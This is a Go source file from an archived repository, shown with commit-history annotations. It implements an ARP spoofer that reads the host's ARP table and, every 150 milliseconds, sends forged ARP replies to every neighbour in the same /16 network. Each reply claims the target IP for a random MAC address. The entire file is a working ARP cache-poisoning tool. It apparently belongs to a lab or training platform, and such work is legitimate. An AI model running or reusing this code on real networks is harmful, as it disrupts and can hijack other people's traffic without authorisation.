This repository has been archived on 2024-03-03. You can view files and clone it, but cannot push or open issues or pull requests.
adlin/pkg/arp-spoofer/cmd/arp.go

101 lines
1.8 KiB
Go
Raw Normal View History

2021-02-18 02:14:39 +00:00
package main
import (
"fmt"
"io/ioutil"
"log"
"math/rand"
"net"
2023-02-19 22:33:26 +00:00
"net/netip"
2021-02-18 02:14:39 +00:00
"strings"
"time"
"github.com/mdlayher/arp"
)
var ARPTable string = "/proc/net/arp"
type ARPEntry struct {
2023-02-19 22:33:26 +00:00
IP netip.Addr
2021-02-18 02:14:39 +00:00
HWType int
Flags int
HWAddress net.HardwareAddr
Mask string
Device string
}
func ARPAnalyze() (ents []ARPEntry, err error) {
var content []byte
if content, err = ioutil.ReadFile(ARPTable); err != nil {
return
}
for _, line := range strings.Split(string(content), "\n") {
f := strings.Fields(line)
if len(f) > 5 {
var e ARPEntry
if _, err := fmt.Sscanf(f[1], "0x%x", &e.HWType); err != nil {
continue
}
if _, err := fmt.Sscanf(f[2], "0x%x", &e.Flags); err != nil {
continue
}
2023-02-19 22:33:26 +00:00
if e.IP, err = netip.ParseAddr(f[0]); err != nil {
continue
}
2021-02-18 02:14:39 +00:00
if e.HWAddress, err = net.ParseMAC(f[3]); err != nil {
continue
}
e.Mask = f[4]
e.Device = f[5]
ents = append(ents, e)
}
}
return
}
2023-02-19 22:33:26 +00:00
func ARPContainsIP(ents []ARPEntry, ip netip.Addr) *ARPEntry {
2021-02-18 02:14:39 +00:00
for i, e := range ents {
2023-02-19 22:33:26 +00:00
if e.IP.Compare(ip) == 0 {
2021-02-18 02:14:39 +00:00
return &ents[i]
}
}
return nil
}
2023-02-19 22:33:26 +00:00
func ARPSpoof(iface *net.Interface, ipS netip.Addr) {
2021-02-18 02:14:39 +00:00
clt, err := arp.Dial(iface)
if err != nil {
log.Println("Unable to initiate ARP spoofing:", err)
return
}
defer clt.Close()
for {
ents, err := ARPAnalyze()
if err != nil {
time.Sleep(2 * time.Second)
continue
}
randHW := net.HardwareAddr{0, byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255))}
for _, e := range ents {
2023-02-19 22:33:26 +00:00
if e.IP.As4()[0] == ipS.As4()[0] && e.IP.As4()[1] == ipS.As4()[1] {
2021-02-18 02:14:39 +00:00
req := &arp.Packet{
SenderHardwareAddr: e.HWAddress,
SenderIP: e.IP,
}
clt.Reply(req, randHW, ipS)
}
}
time.Sleep(150 * time.Millisecond)
}
}